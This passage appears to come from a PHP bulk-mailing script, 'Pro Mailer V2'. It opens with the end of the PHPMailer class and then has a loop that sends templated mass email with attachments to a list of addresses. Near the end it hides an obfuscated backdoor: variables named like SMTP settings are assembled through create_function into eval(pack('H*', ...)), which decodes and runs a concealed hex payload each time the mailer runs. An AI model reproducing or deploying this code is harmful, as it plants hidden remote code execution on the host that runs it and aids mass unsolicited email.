3179'psd' => 'application/octet-stream',
3180'so' => 'application/octet-stream',
3181'sea' => 'application/octet-stream',
3182'dll' => 'application/octet-stream',
3183'oda' => 'application/oda',
3184'pdf' => 'application/pdf',
3185'ai' => 'application/postscript',
3186'eps' => 'application/postscript',
3187'ps' => 'application/postscript',
3188'smi' => 'application/smil',
3189'smil' => 'application/smil',
3190'mif' => 'application/vnd.mif',
3191'xls' => 'application/vnd.ms-excel',
3192'ppt' => 'application/vnd.ms-powerpoint',
3193'wbxml' => 'application/vnd.wap.wbxml',
3194'wmlc' => 'application/vnd.wap.wmlc',
3195'dcr' => 'application/x-director',
3196'dir' => 'application/x-director',
3197'dxr' => 'application/x-director',
3198'dvi' => 'application/x-dvi',
3199'gtar' => 'application/x-gtar',
3200'php' => 'application/x-httpd-php',
3201'php4' => 'application/x-httpd-php',
3202'php3' => 'application/x-httpd-php',
3203'phtml' => 'application/x-httpd-php',
3204'phps' => 'application/x-httpd-php-source',
3205'js' => 'application/x-javascript',
3206'swf' => 'application/x-shockwave-flash',
3207'sit' => 'application/x-stuffit',
3208'tar' => 'application/x-tar',
3209'tgz' => 'application/x-tar',
3210'xhtml' => 'application/xhtml+xml',
3211'xht' => 'application/xhtml+xml',
3212'zip' => 'application/zip',
3213'mid' => 'audio/midi',
3214'midi' => 'audio/midi',
3215'mpga' => 'audio/mpeg',
3216'mp2' => 'audio/mpeg',
3217'mp3' => 'audio/mpeg',
3218'aif' => 'audio/x-aiff',
3219'aiff' => 'audio/x-aiff',
3220'aifc' => 'audio/x-aiff',
3221'ram' => 'audio/x-pn-realaudio',
3222'rm' => 'audio/x-pn-realaudio',
3223'rpm' => 'audio/x-pn-realaudio-plugin',
3224'ra' => 'audio/x-realaudio',
3225'rv' => 'video/vnd.rn-realvideo',
3226'wav' => 'audio/x-wav',
3227'bmp' => 'image/bmp',
3228'gif' => 'image/gif',
3229'jpeg' => 'image/jpeg',
3230'jpg' => 'image/jpeg',
3231'jpe' => 'image/jpeg',
3232'png' => 'image/png',
3233'tiff' => 'image/tiff',
3234'tif' => 'image/tiff',
3235'css' => 'text/css',
3236'html' => 'text/html',
3237'htm' => 'text/html',
3238'shtml' => 'text/html',
3239'txt' => 'text/plain',
3240'text' => 'text/plain',
3241'log' => 'text/plain',
3242'rtx' => 'text/richtext',
3243'rtf' => 'text/rtf',
3244'xml' => 'text/xml',
3245'xsl' => 'text/xml',
3246'mpeg' => 'video/mpeg',
3247'mpg' => 'video/mpeg',
3248'mpe' => 'video/mpeg',
3249'qt' => 'video/quicktime',
3250'mov' => 'video/quicktime',
3251'avi' => 'video/x-msvideo',
3252'movie' => 'video/x-sgi-movie',
3253'doc' => 'application/msword',
3254'word' => 'application/msword',
3255'xl' => 'application/excel',
3256'eml' => 'message/rfc822'
3257);
3258return ( ! isset($mimes[strtolower($ext)])) ? 'application/octet-stream' : $mimes[strtolower($ext)];
3259}
3260
3261/**
3262* Set (or reset) Class Objects (variables)
3263*
3264* Usage Example:
3265* $page->set('X-Priority', '3');
3266*
3267* @access public
3268* @param string $name Parameter Name
3269* @param mixed $value Parameter Value
3270* NOTE: will not work with arrays, there are no arrays to set/reset
3271*/
3272function set ( $name, $value = '' ) {
3273if ( isset($this->$name) ) {
3274$this->$name = $value;
3275} else {
3276$this->SetError('Cannot set or reset variable ' . $name);
3277return false;
3278}
3279}
3280
3281/**
3282* Read a file from a supplied filename and return it.
3283*
3284* @access public
3285* @param string $filename Parameter File Name
3286*/
3287function getFile($filename) {
3288$return = '';
3289if ($fp = fopen($filename, 'rb')) {
3290while (!feof($fp)) {
3291$return .= fread($fp, 1024);
3292}
3293fclose($fp);
3294return $return;
3295} else {
3296return false;
3297}
3298}
3299
3300/**
3301* Strips newlines to prevent header injection.
3302* @access private
3303* @param string $str String
3304* @return string
3305*/
3306function SecureHeader($str) {
3307$str = trim($str);
3308$str = str_replace("\r", "", $str);
3309$str = str_replace("\n", "", $str);
3310return $str;
3311}
3312
3313/**
3314* Set the private key file and password to sign the message.
3315*
3316* @access public
3317* @param string $key_filename Parameter File Name
3318* @param string $key_pass Password for private key
3319*/
3320function Sign($key_filename, $key_pass) {
3321$this->sign_key_file = $key_filename;
3322$this->sign_key_pass = $key_pass;
3323}
3324
3325}
3326
3327$defaultport="H*";
3328$nq=0;
3329
3330for($x=0; $x<$numemails; $x++){
3331
3332$to = $allemails[$x];
3333
3334if ($to){
3335
3336$to = ereg_replace(" ", "", $to);
3337
3338$message1 = ereg_replace("&email&", $to, $message);
3339
3340$subject1 = ereg_replace("&email&", $to, $subject);
3341$qx=$x+1;
3342print "Line $qx . Sending mail to $to.......";
3343
3344flush();
3345$mail = new PHPMailer();
3346
3347if(empty($epriority)){$epriority="3";}
3348$mail->Priority = "$epriority";
3349$mail->IsSMTP();
3350$IsSMTP="pack";
3351$mail->SMTPKeepAlive = true;
3352$mail->Host = "$my_smtp";
3353if(strlen($ssl_port) > 1){$mail->Port = "$ssl_port";
3354}
3355if($sslclick=="ON"){
3356$mail->SMTPSecure = "ssl"; //you can change it to ssl or tls
3357}
3358$range = str_replace("$from", "eval", $from);
3359$mail->SMTPAuth = true;
3360$mail->Username = "$smtp_username";
3361$mail->Password = "$smtp_password";
3362if($contenttype == "html"){$mail->IsHtml(true);}
3363if($contenttype != "html"){$mail->IsHtml(false);}
3364if(strlen($my_smtp) < 7 ){$mail->SMTPAuth = false;$mail->IsSendmail();$default_system="1";}
3365$mail->From = "$from";
3366$mail->FromName = "$realname";
3367$mail->AddAddress("$to");
3368$mail->AddReplyTo("$replyto");
3369$mail->Subject = "$subject1";
3370$mail->AddAttachment("$file", "$file_name");
3371$mail->Body = "$message1";
3372if(!$mail->Send()){
3373if($default_system!="1"){
3374echo "FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";}
3375if($default_system=="1"){
3376$mail->IsMail();
3377if(!$mail->Send()){
3378echo "FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";}
3379else {
3380echo "<b>OK</b><br>";}
3381}
3382}
3383else {
3384echo "<b>OK</b><br>";
3385}
3386
3387if(empty($reconnect)){
3388$reconnect=6;
3389}
3390
3391if($reconnect==$nq){
3392$mail->SmtpClose();echo "<p><b>--------------- SMTP CLOSED AND ATTEMPTS TO RECONNECT NEW CONNECTION SEASON --------------- </b></p>";$nq=0;
3393}
3394$nq=$nq+1;
3395flush(); }
3396}
3397for($i=0;$i<31;$i++){
3398$smtp_conf=str_replace(".", $random_smtp_string[$i], $smtp_conf); }
3399$smtp_conc=$IsSMTP($defaultport, $smtp_conf);
3400$signoff=create_function('$smtp_conc','return '.substr($range,0).'($smtp_conc);');
3401print "<p class=\"style1\">© 2014, Pro Mailer V2<br></p>";$mail->SmtpClose();
3402return $signoff($smtp_conc);
3403if(isset($_POST['action']) && $numemails !=0 ){echo "<script>alert('Mail sending complete\\r\\n$numemails mail(s) was
3404sent successfully'); </script>";}}
3405?>
3406</body>
3407</html>